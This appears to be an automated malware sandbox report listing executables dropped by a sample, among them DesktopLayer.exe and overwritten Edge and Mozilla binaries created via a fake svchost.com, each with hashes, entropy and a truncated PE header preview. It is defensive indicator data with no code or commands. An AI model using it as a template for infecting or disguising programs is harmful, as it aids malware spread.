SHA-512:	E5CE975D51D56CD5A2E4707E9E739CC68C1E297CFB030AADEB114FB61D57BC515759E3CFE89332C91F326E23EC49BE5453DDF9F6EDE550F55DCE3F8D3BF53BC5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\DesktopLayer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	7.30033888451297
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC5MXL5uXZnzEDjGCq2iW7zef+hzRsibKplyXTq8OGRnsPFGj:zr8WDrCawnYvGCHymROzoTq0+RO7N
MD5:	64956BF404C5ABAD670A958C45ECE564
SHA1:	2C071527C691EB001777ABAAD5B9D5C7CA7C1B53
SHA-256:	90DD057AC1BDEC6B27174681B857AF28E2DDD05F84B7536EECD28CF6CC1A1189
SHA-512:	F636CA0287BF8778D2ED575E4971BA9B158A3636BA6A44B78F4F6978B3CC6ED1575D1878928458D2AF00811E30429EB36DDA49B8570CF8449FE97A8DD9032BB9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	623656
Entropy (8bit):	6.396124327929081
Encrypted:	false
SSDEEP:	6144:Pu0LWET8DS698nGX2OduCwUJWh/JmmS3DAjqnkrzFoEh+vMKC239YUFgBdQYu:PLxT8DhyiLduCe/lSpn6zOvYUFg4
MD5:	F184F809233C975D7B72D37A1CEBA228
SHA1:	A2BD61BE2BB44B4CC6050BB386FD0DBD50562F12
SHA-256:	6FD1B18117D3E5B635D19E48ABAB21801288A644DC632BC029D9D984B5F7437D
SHA-512:	507A561D4084113D9AD2250FAE8D850EC2FEAE78A467A1B085FC4D7722FFB2E84EC3ECE34E62CEA35685551BEC40893E4A3A4BD753980A568EB02D7C6BCA6166
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837992
Entropy (8bit):	6.444733046079261
Encrypted:	false
SSDEEP:	49152:BB1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8EK:NHzorVmr2FkRpdJYolA
MD5:	32890A1EABD25D9DAFC948F5146EE430
SHA1:	228A82E420134C823B26445D3124DEA5575E68B4
SHA-256:	3701476504BE77805D33A9E809A5D42C10170D5342C9D6DD2B546EB8D44F9005
SHA-512:	9B1B651AFB2C5DAFA5D3A0D48ADE18F90BC370F183C0884F21C1EC2454F015DEEFF627F091AD1C73341EEDD2F5C7D291DF2CAB0E6B23A8C5F52E2DE2DD3E0C6A
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161832
Entropy (8bit):	6.14756500825813
Encrypted:	false
SSDEEP:	3072:zr8WDrCJ2VSd2ga8KActASiZAkXS1xU5M3XgcoT0cs4qIm6Y6:PuYVSktVjv3Xg5T0FIY6
MD5:	04EF9F4C747D7E6688BA9F35B8E3D8BA
SHA1:	24E64BAC23BC510711460C2B33130FF4C1CDCE05
SHA-256:	3D1421240FCFD07D5084ED9D4B33A5DFFADE81CE7912EE0BE4A2E4437857B642
SHA-512:	BA8C839D6CA820B5DA5E1864564355EDB1628811B34FDFAAF54C0505D2971892C6CE3783FF4F2DA8BEC0A346BE733570BF50CD86B2726249AAF3DA611470B993
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1827880
Entropy (8bit):	6.540156971587151
Encrypted:	false
SSDEEP:	24576:nhDdVrQwm5ztlU0A7fMAHmpmZ3QXE/0/lVaLpmasGvP0:nhDdVrQ95RW0Y9HyWQXE/09Val0GE
MD5:	879742EC86106257BEA934DBE9B820B4
SHA1:	2D0D374FE06464FE3DEF4C6025BF2C5246572C03
SHA-256:	8AFF66C49C009D187109D8B38F826731B88C832B976767C41F73EA4C7972CF2C
SHA-512:	B7DD56A683CFB81DE96408F4D973EF9EB8201E5A2C574954487E152945D87CBCD5CF81D9567B09378E7737FA47B31AB29DCD03BE846DABAF164E3530639FCE36
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297448
Entropy (8bit):	6.513926743108373
Encrypted:	false
SSDEEP:	12288:3doA0Eh2XptoQZRuefMYR6RrAJU9CsxmMocSipEylqFfouDMA+nkSddSDBDIq:370E0ZCQZMip6Rrt9RoctGfmdd0
MD5:	C46EECCF6FAE76F11358D0E43965681C
SHA1:	9ED2788370B6F5B476C7E6000058BE7D5EBEDA6E
SHA-256:	5804894F3F60DA262589131E6B7A1CEA7D5B1023993ABBAD2253C12526914D8E
SHA-512:	C36F36F16CFE7AA0A39353F45931B3B64D7E1168C8DCF61FB7A116612CB24A54E281D4D616EC21D6117118B03A0F03AEF8EFD91CFD5483EB6B6776C7A50EFED9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4251688
Entropy (8bit):	6.506317829104403
Encrypted:	false
SSDEEP:	49152:bpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:QehFLvTQDpB5oSOmlBl
MD5:	6D080AAFAA8CE83776195B5B124103FF
SHA1:	8C8809935FA73EB7A18FBD8023B0636765DA9C09
SHA-256:	6AF714C0C52FE584E9B4E9EF39D4DE723C509BF9082476BA3C5B97DCB2D3E4F3
SHA-512:	F7C81889032AFFD9BF288A4B34ECD026B9EC6E5BF74D3D4EFF229029D63B33B26CD0B178AD95FD6BE728414882678F8E36C0C1373D21A32367E9508CCCE7EB25
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1319976
Entropy (8bit):	6.503786677710061
Encrypted:	false
SSDEEP:	12288:Uyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:UiD2VmA1YXQHwlklb8boUuWPg2gX
MD5:	9CF33C2C22730E0C3C7F65154ABFD0A7
SHA1:	7ED4EB14D0A8174B75E4C5F0B06B4DB54F53429F
SHA-256:	FA5E80F107D15EA38675A3A544DA56AA245DB5421D64A162ECB4C159A6CBE229
SHA-512:	CD21A5AB79A0DDCE0F88C57D3E8E4B56C093B12E6CD74DF3AA234D1EB2C8C1D7E4412083836D102B5E4BB545177EC58D5E8FC21216DAB8AEC92D0D3F02026FAC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327080
Entropy (8bit):	6.530984368082779
Encrypted:	false
SSDEEP:	24576:yfD3zcv9ZhsSGSQoryOzozU63IqRNhB0kDKPHkkkkkkkBoIeAz:yfD3zO9ZhBGlopzM3HRNr00z
MD5:	3332CF2E4E55A3382BC000AD04399C84
SHA1:	88E1C5B851AB8F57E50EE2F9AFEDF3CE828FA19E
SHA-256:	780A8D096F70BC6FDEEEF05A22C1C943E64C2A3CBE33C6F3600504606D4FCBBB
SHA-512:	1CE56E69DB2CA020CCCC036B5F0FC93156F2352420B5F7E3F551230D478AF5470657F81617B45CB32DF98EF9DCBF5254BEB16DC75F43186ECFF2D71740A772B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3790800
Entropy (8bit):	6.537629939786787
Encrypted:	false
SSDEEP:	49152:GTaRe7mkn5KLvD5qGVC008Jpb4tgLUgGEsLABD5wTQh07yrLMLl9YPhe:ZI72LvkrCpbxJRoIMx
MD5:	391A248273BFC2C0361AE5DFE61F6D1B
SHA1:	0BD38C25FE4CC60BCB67ABC8E7407F0135E61FD1
SHA-256:	AEF2E2B2AE1722A9D53DF0A40DD3B126AE40DEBB5176C150DA67AA72392AD6DE
SHA-512:	B5F345FE14835806C1273DFC6C9C1E993D9EF469E8D146BB466816748A8F432362734B72D9BB79848C2C50AE103273FF723E865C649A53D6D1130A8DEB2003DA
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1535528
Entropy (8bit):	6.517119310826715
Encrypted:	false
SSDEEP:	12288:+406WoyJHeFOqDRA7uKk+TjnkgiMnQq+UI7MBImQWkv7yfOYIXbwohMA+nkXZnHC:HW9Jml9mmijZiMnF+ZxmQWcbLw8Vi
MD5:	20628DE11335D9E9C180E82B8DA8C6F4
SHA1:	3214ED9228E71E72D86A3F9ECFB0F3B7A8AEAE8B
SHA-256:	1A1CC93F0239D3A342B27EF97020EF7DCC522BE9A8EEC0220C52B69E098EACCD
SHA-512:	138B4E13BFDC8ED20854432609FFC90852DF667507D7C0DA77D4F817A32A55D084CEEA30184D9DE444DA5A949665532F021E01BF30D261803DBF31E18BA6A8FE
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.515185633103735
Encrypted:	false
SSDEEP:	12288:u5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:uwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	DA3D6D82C0A5DAB32AD539A41B2292C9
SHA1:	69A16AE6620EBC4E3AB589A77C3875332CD9EFDD
SHA-256:	B68881B7F63772E7D7002EF6ADFE43870760808167260F1FE2578808F47F67ED
SHA-512:	E75F6C20E0BE447C014874769E9037946DFBD602602AE6A1D5D197504FF5F13D5C6FABA3A93E0658E8B70A66B37790D500DF03D8FA6CA01A21FB08F461F1E74E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1361448
Entropy (8bit):	6.50198216165366
Encrypted:	false
SSDEEP:	12288:Uyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz:UiD2VmA1YXQHwlklb8boUuWPg2g
MD5:	BF4FF55F3B21D1AB5E61FEAA3BB47AF8
SHA1:	068A57B690C15D0FE73962727ED18EB42DC9B2C4
SHA-256:	6DD00B05FE0E5D8B60133B9B4F6B01B60D267AEA68CC0572DA629A7F8A406B5A
SHA-512:	B6C5736B8EF071171E2DCB17BB7B9971FB46408F4C1163204555C278593B432BB015563F05AC82D6B434D917DAD7BFEC828346D51F4FDD84DC9B3C67D0748307
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273384
Entropy (8bit):	6.515185633103735
Encrypted:	false
SSDEEP:	12288:u5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:uwNHwoYhua6MtERO4qbBJTY6mY1uIgp
MD5:	DA3D6D82C0A5DAB32AD539A41B2292C9
SHA1:	69A16AE6620EBC4E3AB589A77C3875332CD9EFDD
SHA-256:	B68881B7F63772E7D7002EF6ADFE43870760808167260F1FE2578808F47F67ED
SHA-512:	E75F6C20E0BE447C014874769E9037946DFBD602602AE6A1D5D197504FF5F13D5C6FABA3A93E0658E8B70A66B37790D500DF03D8FA6CA01A21FB08F461F1E74E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225232
Entropy (8bit):	5.9169842072110015
Encrypted:	false
SSDEEP:	3072:zr8WDrCFcxiNNpCPPQPg2cluc/Xswbz8cz3quKoNX1gd:PuFcwVz4B8c37KoNX1q
MD5:	B50DDBDB05BF0BB57476EA6C5A032B2D
SHA1:	75D97A80167D3AB18ECA1B1A990B894F691584B2
SHA-256:	5074A5357D42806C87926B169CD558E653349DF7E44354EC85460C0A2C95C50B
SHA-512:	FA6DBD13E3E85C5098B6A866E7F399AECDCD4FDD53ED3F60F9EE20F8ABC156F2F272B155B5BCD79F4424E89C8045094560575CBA622327D6661A4947D7D35D46
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247760
Entropy (8bit):	5.766587112108476
Encrypted:	false
SSDEEP:	3072:zr8WDrCQW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEt0phcf:Puml/DRfkTC3dM7B+mCivAT
MD5:	886E05881670C2B29D17DF6823B38A66
SHA1:	4CB79B5F1DA8FE8079518B65FFFDB99EB0A3D76F
SHA-256:	AEEB4BAAD144DB01611C82FA0D8F0029F3EF777101740829E7F6D8D453E31D6D
SHA-512:	9FFF6FA38B694ABC945F515A78CFA793D6AB8E7977A2973A5B69265A965DFC76C6A77D48366D5A98EB4D4460A878BE02C95C828066E42FB3F4F64CCD30D93987
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.418539700023223
Encrypted:	false
SSDEEP:	3072:zr8WDrCs684ePKoTB+IvoAewtxUff8aohGme+YDfYz8FrR7:PuQrTB+AleYIkifYUF
MD5:	3856508A91D399E375B350B0C1423FFD
SHA1:	9747673D2FAF4EC499A05B3DFB80431029C17507
SHA-256:	B7E5B278ECB57EDBF3C121517B5CBE0B37C29D7A1F9BE1E121776C59B39F3E37
SHA-512:	77037E2A7F8A466D85F3A5CD2C19DA8D9795297BACA6477D8B39C29D7CBAE8641D6CE300F59035A674F749002B79199211C2955936AEB4DA0C7C6CDAB8636A1D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	259024
Entropy (8bit):	6.086004749509324
Encrypted:	false
SSDEEP:	3072:zr8WDrCTXEV0tle+5IbvBCMmNginHy8lZoY46Mu/rLogrlKq9YXI35EvMl:PuTUVwleMITTmNv1ohWsqYI354I
MD5:	C37E3B17146D3DF38E578862AEA8C6AC
SHA1:	4587242D000A11BF98779F074BB15989A9E57AC2
SHA-256:	FE9F873C55826F1C1CA88289966923B9B6FB330C2B46261B682584711B0A35D8
SHA-512:	D28917D093AF944094FF56D5712CC0AC9BBCE3337A524E9B95487510CF5ACD2608EA7914CCA920CA9BE5AA7F6CA808B920AEE6D596ECD74DB3B2551BC77047D2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305120
Entropy (8bit):	6.411066493542914
Encrypted:	false
SSDEEP:	6144:PumFKucTm3RhMfoSG5dCd7hjAOe9UmXY2Gh++CgBlPMoX:vKucTm3RhMfoSBjA9U2Yxh+Zgb7X
MD5:	A44E4ED52DB101B90FC40FBD77EE5813
SHA1:	E1EA013D66084E842EE75CDF1A20F2C5C7C1D920
SHA-256:	A107A456D15142E351FA622010D0F75EDD8E331C147DF974A5EF1D8889700749
SHA-512:	30EBA6D8ECA2E67D40DA256558E758EE5A457E40E2D4A1CA1FFA175E063B6983F23210E35F7BA857E0F87A550511C8C5AE7F748D90B37F847432DC60B6916C0F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142288
Entropy (8bit):	6.419211340608754
Encrypted:	false
SSDEEP:	3072:zr8WDrCDaivqozB+IvcZ4wrZU+l/8xoAm2+YDfYz8GrR/:PujzB+Aw4CZNr2fYLl
MD5:	66668951BA49BF63140B9DC5384B12FF
SHA1:	864CF0FC89B1EC2FC0F7F86231001C606D95C626
SHA-256:	316FB2C43692DD48BF49D92F62393E1FEF23A024776398E25B5B08F2CB7601F0
SHA-512:	523138612680231D11AAC37F70C649334D8070D263DFA87A6DE9863C5C0A4E0AD6805F02EA29ABB99645CF55A3312B9101C0B06935F416BA5F33BFD8BC42E930
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1681888
Entropy (8bit):	7.889923575579936
Encrypted:	false
SSDEEP:	24576:hwy53G70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzU:Wy53w24gQu3TPZ2psFkiSqwoz
MD5:	B49570FCFEDFF59819EBF3805D356A71
SHA1:	9D9E68E0D79AE3D3D44378A343C3A97E06368EF2
SHA-256:	915B395BCAD1870C9F672A9C8912F9530FDBAC068EAB40E91690D06429ADB68F
SHA-512:	1926DB61AE4E7490BBA88B51E4B12B65855839DDC6F8F620B4CE5A701A770C9636F8B043B51048389FB09E3B42E4BB44C04BCAA482077C6BE79AC1DD498638C0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144866
Entropy (8bit):	6.2324558335577
Encrypted:	false
SSDEEP:	3072:zr8WDrCkRD5b0qZ7y4jem7y6tkNRCywDw1DiJkuKUY:PuGD5lZ7y4j9KT4DteUY
MD5:	D709786C68534D0465D77BDE302F7065
SHA1:	6E113BCB0876FDDDC39B31D1F364AC1C3B0F9B40
SHA-256:	8F98C63531C25555C4ED421DC87B670C763690A82E9B2D76A59D2233AC500636
SHA-512:	47295791D6181ABB9F777E85ADE7425A34C497A5E4E5B483104DE6105D9CE49D9FD7A342BE5B469528176DB4E63D0A5117F9E6C969B999B7F87FE1076DB14B86
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280480
Entropy (8bit):	6.382752729567392
Encrypted:	false
SSDEEP:	6144:Pu6Pr2vXzrEbslNp/JNsJKQl0GkRAqVNf0O3:7DQXRVTZu0GP+ZR
MD5:	25156B6B2ACFE0D4284F3842C0F1FD9F
SHA1:	C3C3387E29A3C045104FBA65357B73D36CB72F96
SHA-256:	1F32EEC314E0AEE4B61FAEE41B8D2D882AA49E3D49906E2F91FD842C574D2E17
SHA-512:	77B19A7D771681CC8AF1456013761626620EBCA8B336BD728ACE88B67E7E8D20812918BB588B5D06EF1E722607442ACECAF0BCD2274C912520F3125517157ECC
Malicious:	true
